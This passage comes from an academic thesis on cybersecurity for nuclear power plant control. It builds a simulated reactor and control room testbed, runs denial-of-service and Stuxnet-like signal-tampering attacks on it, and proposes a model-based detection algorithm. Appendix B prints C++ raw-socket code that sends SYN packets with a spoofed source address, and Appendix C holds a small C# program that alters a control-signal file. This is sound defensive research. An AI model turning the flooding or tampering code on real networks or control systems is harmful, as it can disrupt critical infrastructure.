core into a control room display (represented by the client).  The nuclear reactor 

simulator server side also accepts control commands from the client side, e.g., command 

to move a control rod by a certain amount. The server side of the nuclear reactor 

simulator continuously solves the set of differential equations. Hence, the impact of any 

client side instructions on state variables are instantly simulated and propagated back to 

the connected client. The ability to accept control commands from the client over the 

communication network allows us to study the effects of various network attacks on the 

control actions. In addition to that, the nuclear reactor server provides the simulated data 

to the client also over a TCP/IP network using a custom networking protocol. The data 

from the server includes information about the reactor power, temperature level and 

precursor concentration as a function of time. 

The nuclear reactor simulator server performs two functions which, when 

combined, allow it to serve as a surrogate for the real nuclear power plant when 

performing experiments. The server simulates the nuclear power plant with a feature-rich 

mathematical model solver. This allows us to simulate systems with a high degree of 

modeling accuracy by taking advantage of the advanced modeling facilities built into the 

LabVIEW software. In addition to that, the server provides the SCADA data that would 
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typically be fed into a control center display (represented by the client). The server 

provides the simulated data to the client over a TCP/IP network using a custom 

networking protocol. 

The server side continuously listens for incoming control signals from the client 

side. The TCP listen command requires a port number in order to keep listening for any 

incoming signals. Once the server side receives a command, TCP read will read the value 

of the control signal and use it as input in the solution. When the sever side finds the 

result, it writes it back through TCP write to the client side in order to display the 

continuously updated solution.  Figure 4.11 illustrates the pipeline in the server side 

protocol that uses the control data to generate the state data. 

 

Figure 4.11 Server side TCP 

 

Figure 4.12 shows the implementation of the server side. The LabVIEW code in 

the server side solves the set of differential equations using a simple Euler scheme.  The 

implementation intends to be flexible which allows the user to run the simulator using 

different time steps. 
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Figure 4.12 Server Side  

 

The program setting tab on the server side allows the operator to set the time step 

ℎ  which is used to replace the derivative with a finite difference scheme in the equation: 
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𝑓! 𝑎 ≃
𝑓 𝑎 + ℎ − 𝑓 𝑎

ℎ                                                                                                                   (6)   

The default value for  ℎ = 0.001. Figure 4.13 shows the program setting tab on 

the server side.   

 

Figure 4.13 Server side – program setting tab 

 



       

40 

 

The parameters tab shows the default value for the parameters of the 

mathematical model. The server side has been developed to be flexible and allow the user 

to change the values of these parameters. Figure 4.14 shows the parameter tab of the 

server side. 

 

Figure 4.14 Server side – parameters tab 
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Initial conditions must also be specified in order to solve the mathematical model (see 

section 4.1.1). The initial conditions tab as shown in Figure 4.15 allows the operator to 

set the value of the initial condition.      

 

Figure 4.15 Server side – initial condition tab 
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4.1.2. Client–Server Protocol 

The protocol used for communication between the client and server sides is a 

simple request/response which uses the TCP/IP networking protocol. All network 

communication is initiated by the client, which can either send or receive an arbitrary 

amount of data in a single session. 

 

4.1.3. Wide Area Network 

A large scale network is the backbone for the testbed, and is considered to be the 

infrastructure for network transactions, attacks, and defenses. The network provides the 

simulation with real time traffic and network routing.              

 

4.2. Cyber Attacks Scenarios 

Details of the two cyber attack scenarios—denial of service and zero day attack 

simulated in this work are described below. 

 
4.2.1. Denial of Service 

A Denial-of-Service attack (DoS) is an attempt to make a computer resource 

unavailable to its intended users. In a denial-of-service attack, an attacker attempts to 

prevent legitimate users from accessing information or services, by targeting the 

computer systems and its network connections. 
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The most common and obvious type of DoS attack occurs when an attacker 

"floods" a network with information or information requests. The server can only process 

a certain number of requests at once, so if an attacker overloads the server with requests, 

the server will fail to process a legitimate request. This is a "denial of service" because 

legitimate users cannot access that service.  

The packet types used for packet flooding attacks have varied over time, but for 

the most part, several common packet types are still used by many DoS attack tools. In 

TCP-floods a stream of TCP packets with various flags set are sent to the victim IP 

address. The SYN, ACK, and RST flags are commonly used.  

Since the network attack hinders the operator’s ability to receive data and issue 

commands, it greatly compromises the operator’s work. Under normal circumstances, the 

operator has the ability to increase and decrease the power level of the nuclear reactor.  In 

the case of a network attack, the operators are ignorant of any problem and may have no 

ability to respond. The situation will escalate if a protection equipment forces the power 

level to increase unintentionally.   

 The simulation of DoS attack implemented while TCP/IP used as communication 

protocol. In order to fully analyze the attack scenarios, it is important to understand the 

actions of the TCP/IP system. TCP/IP is a three-way-handshake done to establish a 

connection between a client and a server. The process starts when a client sends a SYN 

packet to a server, followed by the server sending back a SYN/ACK packet, which is then 

acknowledged by the client by sending an ACK packet back to establish the connection 

between the source and destination.  The Denial of Service scenario attack starts in the 
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network while the network is operating normally.  The attacker launches the cyber attack 

on the network by flooding the network with SYN packets, which involves sending too 

many SYN packets with a bad or random source IP address to the destination server.  

These SYN requests get queued up on the server’s buffer and use up the resources and 

memory of the server. This can lead to a crash or hang up of the server machine. After 

sending the SYN packet, the connection is half-open and it takes up resources on the 

server machine.  If an attacker sends SYS packets faster than memory is being freed up on 

the server then an overflow situation can occur. Since the server’s resources are used up, 

the response to legitimate users is slowed down resulting in Denial of Service. The 

pseudo code below describes the DoS attack. 

[1] Create TCP Socket 

[2] Create TCP Header 

[3] Create IP Header 

[4] Fill in the Headers 

[5] Spoof The Source IP Address 

[6] Create Packet  

[7] While (true) 

a. Send the packet 

b. Check Send  

The simulation of DoS attack starts while the reactor simulator is running 

normally on the server side. The DoS attack is then launched.  We measured the packet 

drop rate on the server side. When the DoS attack is launched the rate of the dropped 

packet, due to fact that the server cannot process all the incoming requests, increases. 

Figure 4.16 shows the packets drop rate as function of time for two cases: when the 
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simulator is running normally with background noise in the network, and when a DoS 

attack is on.  

In the first scenario, the system is not incorporated with any DoS attack, allowing 

the system to run under normal conditions, in the presence of some transactions and 

background traffic. The goal of this scenario is to study the interaction between the 

nuclear reactor server side and the client side under normal operating conditions of the 

network. In the second scenario, the system was allowed to run normally for about 30 

seconds and then a DoS attack was launched at t = 30s. The Figure shows the result of 

simulation for the first 100 seconds.  This experiment shows the effect of the DoS attack 

on the nuclear power plant that uses a public network for communication.  

 

 

Figure 4.16 Packet drop rate due to Denial of Service (DoS) attack 
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The scenario described above has been run and the effect of a DoS attack on an 

integrated control room and nuclear power plant has been studied. When there is no 

attack occurring, the operator(s) at the client side see the correct real time data that reflect 

the state of the nuclear reactor at the appropriate rate. The operators also have the ability 

to increase and decrease the power level and other crucial settings. If an attack is in 

progress, the SCADA data and commands are prevented from being transferred from the 

client side to the server side. The DoS attack floods the network with packets, causing the 

real time data to be delayed or lost. When an attack is under way, the client side 

continues to display old data indicating that the system is operating safely even though 

the control system has been altered for the worse.  

4.2.2. Zero-day attack  

 The cyber threat in a zero-day attack targets the SCADA system and maliciously 

reprograms the SCADA devices. The implementation of these scenarios will modify the 

control signal at the client side. 

There have been many attacks targeted at SCADA systems [12, 22]; however, no 

other attack has demonstrated the extreme threats that control systems are subject to quite 

as well as the Stuxnet worm [27]. Stuxnet has made clear that there are groups with the 

motivation and skills to mount sophisticated computer-based attacks to critical 

infrastructures. Stuxnet intercepts routines to read, write and locate blocks on a 

Programmable Logic Controller (PLC). By intercepting these requests, Stuxnet is able to 

modify the data sent to or returned from the PLC without the operator of the PLC ever 

realizing it. Stuxnet was discovered on systems in Iran in June 2010 by researchers from 

Belarus. However, it is believed to have been released more than a year before it was 
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detected. Stuxnet is a worm that spreads by infecting Windows computers. In September 

2011 the laboratory of Cryptography and System Security discover Duqu malware which 

is a variety of software components that together provide services to the attackers. 

Currently this includes information stealing capabilities and in the background, kernel 

drivers and injection tools which is used by Stuxnet. 

The ultimate goal of zero-day attack is to sabotage the target facility by 

reprogramming the controllers to operate, most likely, out of their specified boundaries. 

This means, if the operator sends a command such as to increase or decrease the power 

level, turn on or off the coolant system in the reactor core, etc. The system should 

normally operate according to the operator’s command. However, under a zero-day 

attack, the operator’s command will get modified and will likely force the system to 

move in a direction opposite to that given by the operator, or to generate excessive values 

compared with the intended ones.   

To simulate this attack in the testbed developed here, a modification to the 

simulator has been added in order to accommodate the instruction reprogramming 

process. When the client sends a control signal to the server side over the communication 

network, it actually writes the value of the control signal into a text file on the server side. 

Subsequently, the LabVIEW code on the server side reads the control signal value from 

the text file and uses it as input in the simulation. When a zero-day attack is launched, the 

attacking code (worm) modifies the value of the control signal, causing the system to act 

in an unexpected manner.  The pseudo code that describes the zero-day attack is: 

[1] Read the control signals before it get to 

the server side 
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[2] Check the control signals 

[3] Modify the control signals 

[4] Server Side read the modified control 

signals 

[5] Use the Modified control signals as input 

to the solution 

The cyber threat has been developed using C# to simulate the effects of the 

Stuxnet worm. The cyber threat runs in the background and changes the control signal 

form the client side to the server side. The scenario starts while the reactor simulator is 

running normally. The operator decides to increase the power level, and sends a reactivity 

value of 0.001 (k of 1.001) to the server side. Before any cyber attack, the simulator 

responds normally to this value, as shown in Fig. 4.16. When a hacker launches a cyber 

attack on the simulator, the attack changes the control signal value. As a result of this 

attack, the k value that reaches the reactor is different than what was sent from the control 

room. As a result, the reactor behaves erratically, and its behavior does not match the 

behavior expected from the control signal that was sent form the client initially. 
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Figure 4.17 Cyber Attack to simulate Stuxnet worm attack modifying the reactivity value 

 

 

Figure 4.18 Cyber threat that simulates Stuxnet worm  
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CHAPTER 5 
ATTACKS DETECTION  

 

In this chapter we discuss the proposed algorithm for attack detection, followed 

by some examples to show the capabilities of the algorithm to detect the attacks 

simulated in the previous chapter.  

While the attackers may be able to hide the specific technology used to exploit the 

system and reprogram the SCADA system, they cannot hide their final goal; which is to 

cause an adverse effect on the physical system, evidenced by a departure from the 

expected behavior of the system. These effects are created by sending malicious sensor or 

controller data that would in general not match the behavior expected by a supervisory 

control or an anomaly detection system. Therefore, in this chapter we explore security 

mechanisms that detect attacks by monitoring the physical system under control, and the 

sensor and actuator values. 

5.1. Detection Algorithm 

An attack-detection algorithm has been developed. It is based on monitoring the 

behavior of the physical system under control. Using this algorithm, one can detect a 

wide range of attacks.  The work closest to the approach followed here is the study of 

false data injection attacks in control systems [7, 8] and the intrusion detection models of 

Rrushi and Campbell [7].  This last work, however, does not consider dynamical models 

of the process control system. Further research work is needed on dynamical system 

models used in control theory as a tool for specification-based intrusion detection 

systems. 
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Detecting attacks on control systems can be formulated as an anomaly-based 

intrusion detection problem [7, 8]. One major difference in attacks on control systems 

compared to traditional cyber-attacks on IT systems is that instead of creating models of 

network traffic or software behavior, we can use a representative model of the physical 

system. 

The idea behind this approach to detect an attack is the following way: by 

continuously comparing the state variable signals of the actual physical system 𝑦 𝑘  with 

the corresponding signals 𝑦~ 𝑘   from a simulated model of the system. In response to a 

control input sequence  𝑢 𝑘 , both the actual system as well as the results of the simulated 

model will evolve. By comparing the two signals, one can predict if the control signal 

sent to the physical system has been altered. Depending on the quality of our estimate 

𝑦~ 𝑘  we may have some false alarms. This scenario also assumes that the control signal 

transmission to the simulator is secure and cannot be tampered.  Figure 5.1 shows the 

schematic diagram of the physical system which takes  𝑢 𝑘  as an input signal and 

generates 𝑦 𝑘  as an output signal. 

 

 

 

 

 

Physical System 𝑢(𝑘) 𝑦(𝑘) 

Figure 5.1 Block diagram of the physical system   
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The flow chart below illustrates the detection algorithm which compares the 

output of the physical system with the expected value from the mathematical model. In 

the absence of an actual physical system (for example, an NPP), a mathematical model is 

used to replace the physical system as well. The mathematical model, as discussed in 

Chapter 4, was used to model the physical behavior of the nuclear reactor. Hence, in this 

work, the physical system as well as its simulator are modeled by the same mathematical 

model. While operator input going to the simulator will be always un-tampered, the 

operator input to the model representing the physical system under a cyber attack can be 

tampered.  
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5.2. Case Study 

The implementation for the detection algorithm is based on the comparison of the 

results from the simulator that represents the actual (physical) reactor over TCP/IP; and 

the second nuclear reactor simulator that is run locally. Both simulators write the output 

into a text file, and the detection algorithm compares the output. If the difference between 

the results from these two models is greater than a pre-specified value ε, the detection 

Figure 5.2 Flow chart for the detection algorithm 
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algorithm activates an alarm to represent a potential cyber attack on the physical system. 

Figure 5.3 shows the result of a typical simulation without cyber attack on the nuclear 

reactor simulator. The Figure shows the excess power level as a function of time. Data in 

this Figure show that the data collected from the sensors placed in the power plant, match 

the data from the mathematical model, indicating the absence of any cyber attack. 

 
Figure 5.3 Signals from the plant and the simulator in the case of no cyber attack.  

 

Figure 5.4 shows the results of the cyber-attack detection software in the case of a 

cyber attack on the nuclear control room. Up to a certain point of time (t ~ 39 s), the two 

values match exactly.  Then, as a result of the cyber attack, the difference between the 

values coming from the power plant and those from the simulator becomes greater than ε. 

This leads to an alarm, warning the operator of this discrepancy. The left panel in Figure 

5.5 shows the window with the flashing red alarm band at the bottom.  
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Figure 5.4 Signals from the plant and the simulator in the case of a cyber attack initiated at t ~ 39 s.  

 

 

Figure 5.5 Simulator showing the red alert warning due to a potential cyber attack 
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5.3. Results 

 
In our experiments we found several interesting results.  

(1) Protecting against integrity attacks is more important than protecting against 

DoS attacks. This is obvious, since DoS attacks announce themselves, whereas integrity 

attack do not. 

 

(2) The physics of nuclear reactor is fairly well-behaved, in the sense that even 

under perturbations; the response of the system follows the mathematical models very 

closely. Of course, this is probably true for the very stable conditions under which a 

reactor is usually run at steady sate. In addition, the slow dynamics of this process allows 

us to be able to detect attacks with the benefit of not raising any false alarms due to the 

accuracy of the mathematical models of the system. 
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CHAPTER 6 
SUMMARY, CONCLUSIONS AND FUTURE 

WORK   
    

6.1.  Summary and Conclusion  

 

In this work, a testbed simulating the reactor core as well as the control room—both 

linked by an internet connection—has been developed.  The testbed has been used to 

simulate different kinds of cyber attacks. These numerical experiments demonstrated the 

vulnerability of the communication network to a denial-of-service (DoS) attack and the 

ability to detect the cyber attack. The simulated attacks prevented data from being 

transmitted across the network, causing the monitors in the control room to display 

incorrect data. Finally, with the aid of a simulator that represented the nuclear reactor, a 

detection algorithm was developed to detect the cyber attack based on the behavior of the 

nuclear reactor during the operation and a mathematical model (or a simulator) that 

represents the nuclear reactor.  

Even though we have focused on the analysis of a nuclear reactor system, the 

developed principles and techniques can be applied to other physical processes and many 

critical infrastructure applications.  

Based on the experience with the development of this testbed and the limited number 

of simulations, some preliminary conclusions can be drawn. It is clear that the testbed 

developed here, though fairly basic in design, can be used to test cyber attack scenarios 

relevant to nuclear power applications. Based on the cyber attack simulations carried out 
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in this work, it can be concluded that as the number of packets sent during a denial-of-

service attacks is increased above a threshold, the server receiving the packets becomes 

saturated; i.e., its overflows due to the large number of arriving packets. This event forces 

the system to drop the packets which might include control data from the SCADA system 

to the NPP. For instance, in the zero day attack, it is clearly demonstrated how the hacker 

can violate the integrity of the control data between the SCADA and NPP and manipulate 

the operations of the system.  

By incorporating a physical model of the system, we were able to detect cyber attacks 

on the physical system. Thus, ideas and work presented here will form the basis of future 

research on cyber security of nuclear power plants. This work will help in the design of 

attack resilient control structures and algorithms.  

6.2. Future Work  

This work identifies a research area that is in need of significant amount of 

attention and resources. It has laid the foundation by developing a testbed that includes 

the essential components necessary to simulate cyber attacks.  

The testbed itself can be improved significantly. For example, a more accurate 

model of the nuclear reactor and the SCADA system can be developed and incorporated 

in the testbed. The extension can incorporate, for example, an electromechanically driven 

control rod to represent a part of the reactor that is controlled from the control room. It 

can then be incorporated into the simulations using different protocols and protocol 

converters to interface with the software.  Also, it is worth extending the functionality of 

the client side (by adding additional commands). In its extended form, the testbed will 
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consist of computer simulations, hardware representing a reactor, and people acting as 

operators. 

A much more extensive set of cyber attack scenarios also need to be simulated in 

order to gather sufficient statistics for different kinds of attacks.   
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APPENDIX A 
	
  

LabVIEW Code  
	
  
	
  

The code below shows the implementation of the nuclear reactor simulator which consists of two 

parts: a client and a server. The code is developed in LabVIEW that allows the developer to use 

Graphical User Interface (GUI) for programming.   
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APPENDIX B 
	
  

C++ Code  

The code below shows the implementation for the Denial of Service (DoS) attack. The 
code generates TCP /IP packets and random IP addresses. It sends the packets to the 
victim’s server. In order to run the code the user should have the Linux operating system 
with a C++ compiler.   
	
  
#include<stdio.h>	
  
#include<netinet/tcp.h>   //Provides declarations for tcp header	
  
#include<netinet/ip.h>    //Provides declarations for ip header	
  
	
  	
   	
  
typedef	
  struct	
  pseudo_header    //needed for checksum calculation	
  
{ 	
  
    unsigned int	
  source_address;	
  
    unsigned int	
  dest_address;	
  
    unsigned char	
  placeholder;	
  
    unsigned char	
  protocol;	
  
    unsigned short	
  tcp_length;	
  
    //char tcp[28];	
  
    struct	
  tcphdr tcp;	
  
}; 	
  
	
  	
  
unsigned short	
  csum(unsigned short	
  *ptr,int	
  nbytes) {	
  
    register	
  long	
  sum;	
  
    unsigned short	
  oddbyte;	
  
    register	
  short	
  answer;	
  
	
  	
  
    sum=0;	
  
    while(nbytes>1) {	
  
        sum+=*ptr++;	
  
        nbytes-=2;	
  
    }	
  
    if(nbytes==1) {	
  
        oddbyte=0;	
  
        *((u_char*)&oddbyte)=*(u_char*)ptr;	
  
        sum+=oddbyte;	
  
    }	
  
	
  	
  
    sum = (sum>>16)+(sum & 0xffff);	
  
    sum = sum + (sum>>16);	
  
    answer=(short)~sum;	
  
	
  	
  
    return(answer);	
  
}	
  
	
  	
  
int	
  main (void)	
  
{	
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    //Create a raw socket	
  
    int	
  s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);	
  
    //Datagram to represent the packet	
  
    char	
  datagram[4096];	
  
    //IP header	
  
    struct	
  iphdr *iph = (struct	
  iphdr *) datagram;	
  
    //TCP header	
  
    struct	
  tcphdr *tcph = (struct	
  tcphdr *) (datagram + sizeof	
  (struct	
  
ip));	
  
    struct	
  sockaddr_in sin;	
  
    struct	
  pseudo_header psh;	
  
	
  	
  
    sin.sin_family = AF_INET;	
  
    sin.sin_port = htons(80);	
  
    sin.sin_addr.s_addr = inet_addr ("1.2.3.4");	
  
	
  	
  
    memset	
  (datagram, 0, 4096); /* zero out the buffer */	
  
	
  	
  
    //Fill in the IP Header	
  
    iph->ihl = 5;	
  
    iph->version = 4;	
  
    iph->tos = 0;	
  
    iph->tot_len = sizeof	
  (struct	
  ip) + sizeof	
  (struct	
  tcphdr);	
  
    iph->id = htonl (54321); //Id of this packet	
  
    iph->frag_off = 0;	
  
    iph->ttl = 255;	
  
    iph->protocol = IPPROTO_TCP;	
  
    iph->check = 0;      //Set to 0 before calculating checksum	
  
    iph->saddr = inet_addr ("192.168.1.2");  //Spoof the source ip 
address	
  
    iph->daddr = sin.sin_addr.s_addr;	
  
	
  	
  
    iph->check = csum ((unsigned short	
  *) datagram, iph->tot_len >> 1);	
  
	
  	
  
    //TCP Header	
  
    tcph->source = htons (1234);	
  
    tcph->dest = htons (80);	
  
    tcph->seq = 0;	
  
    tcph->ack_seq = 0;	
  
    tcph->doff = 5;      /* first and only tcp segment */	
  
    tcph->fin=0;	
  
    tcph->syn=1;	
  
    tcph->rst=0;	
  
    tcph->psh=0;	
  
    tcph->ack=0;	
  
    tcph->urg=0;	
  
    tcph->window = htons (5840); /* maximum allowed window size */	
  
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP 
stack	
  
                should fill in the correct checksum during transmission 
*/	
  
    tcph->urg_ptr = 0;	
  
    //Now the IP checksum	
  
	
  	
  
    psh.source_address = inet_addr("192.168.1.2");	
  
    psh.dest_address = sin.sin_addr.s_addr;	
  
    psh.placeholder = 0;	
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    psh.protocol = IPPROTO_TCP;	
  
    psh.tcp_length = htons(20);	
  
	
  	
  
    memcpy(&psh.tcp , tcph , sizeof	
  (struct	
  tcphdr));	
  
	
  	
  
    tcph->check = csum( (unsigned short*) &psh , sizeof	
  (struct	
  
pseudo_header));	
  
	
  	
  
    //IP_HDRINCL to tell the kernel that headers are included in the 
packet	
  
    {	
  
        int	
  one = 1;	
  
        const	
  int	
  *val = &one;	
  
        if	
  (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof	
  (one)) < 
0)	
  
            printf	
  ("Warning: Cannot set HDRINCL!n");	
  
    }	
  
	
  	
  
    //while (1)	
  
    //{	
  
        //Send the packet	
  
        if	
  (sendto (s,      /* our socket */	
  
                    datagram,   /* the buffer containing headers and 
data */	
  
                    iph->tot_len,    /* total length of our datagram */	
  
                    0,      /* routing flags, normally always 0 */	
  
                    (struct	
  sockaddr *) &sin,   /* socket addr, just 
like in */	
  
                    sizeof	
  (sin)) < 0)       /* a normal send() */	
  
	
  	
  
            printf	
  ("errorn");	
  
        //Data send successfully	
  
        else	
  
            printf	
  (".");	
  
    //}	
  
	
  	
  
    return	
  0;	
  
}	
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APPENDIX C 
	
  

C# Code  
 
The C# code below is to simulate the Stuxnet-like attack and the corresponding detection 
algorithm. In order to run this code the user should have Microsoft visual studio 2010.   
	
   	
  
	
  
	
  
using	
  System;	
  
using	
  System.Collections.Generic;	
  
using	
  System.Linq;	
  
using	
  System.Text;	
  
using	
  System.IO;	
  
	
  
namespace	
  StuxnetConsoleApplication	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
{	
  
	
  	
  	
  	
  class	
  Program	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  static	
  void	
  Main(string[]	
  args)	
  
	
  	
  	
  	
  	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.WriteLine("STUXnet	
  virus	
  is	
  running");	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  try	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  string	
  mystr	
  =	
  Console.ReadLine();	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  string	
  path=@"c:\Users\Laith\Desktop\StuxNet\comm.txt";	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  using	
  (FileStream	
  stream	
  =new	
  
FileStream(@"c:\Users\Laith\Desktop\StuxNet\comm.txt",FileMode.Open))	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  using	
  (TextWriter	
  writer	
  =	
  new	
  StreamWriter(stream))	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  writer.WriteLine("");	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  using	
  (StreamWriter	
  StrWriter	
  =	
  new	
  StreamWriter(path))	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  StrWriter.WriteLine(mystr);	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.ReadLine();	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  catch(Exception	
  e)	
  	
  {	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  }	
  
}	
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using	
  System;	
  
using	
  System.Collections.Generic;	
  
using	
  System.Linq;	
  
using	
  System.Text;	
  
using	
  System.IO;	
  
	
  
namespace	
  AttackDetectionConsoleApplication	
  
{	
  
	
  	
  	
  	
  class	
  Program	
  
	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  static	
  void	
  Main(string[]	
  args)	
  
	
  	
  	
  	
  	
  	
  	
  	
  {	
  
	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.WriteLine("Enter	
  the	
  value	
  of	
  epsilon");	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  double	
  epsilon	
  =	
  Convert.ToDouble(Console.ReadLine());	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  string	
  path1	
  =	
  @"C:\Users\Laith\Desktop\text1.txt";	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  string	
  path2	
  =	
  @"C:\Users\Laith\Desktop\text2.txt";	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  string	
  line1;	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  string	
  line2;	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  StreamReader	
  reader1	
  =	
  new	
  StreamReader(path1);	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  StreamReader	
  reader2	
  =	
  new	
  StreamReader(path2);	
  
	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.WriteLine("Physical	
  Data\tMathmateical	
  Data\tDifference");	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  while	
  ((line1	
  =	
  reader1.ReadLine())	
  !=	
  null	
  &&	
  (line2	
  =	
  
reader2.ReadLine())	
  !=	
  null)	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  {	
  
	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.Write(line2);	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.Write("\t");	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.Write(line1);	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  double	
  Diff	
  =	
  Math.Abs(Convert.ToDouble(line1)	
  -­‐	
  
Convert.ToDouble(line2));	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.Write("\t\t");	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.Write(Diff.ToString());	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.Write("\n");	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  if	
  (Diff	
  >	
  epsilon)	
  {	
  
	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  string	
  mystr	
  =	
  "1";	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  string	
  path	
  =	
  @"c:\Users\Laith\Desktop\alert.txt";	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  using	
  (FileStream	
  stream	
  =	
  new	
  
FileStream(@"c:\Users\Laith\Desktop\alert.txt",	
  FileMode.Open))	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  using	
  (TextWriter	
  writer	
  =	
  new	
  StreamWriter(stream))	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  writer.WriteLine("");	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  using	
  (StreamWriter	
  StrWriter	
  =	
  new	
  StreamWriter(path))	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  {	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  StrWriter.WriteLine(mystr);	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  //Console.ReadLine();	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Console.ReadLine();	
  
	
  	
  	
  	
  	
  	
  	
  	
  }	
  
	
  	
  	
  	
  }	
  
}	
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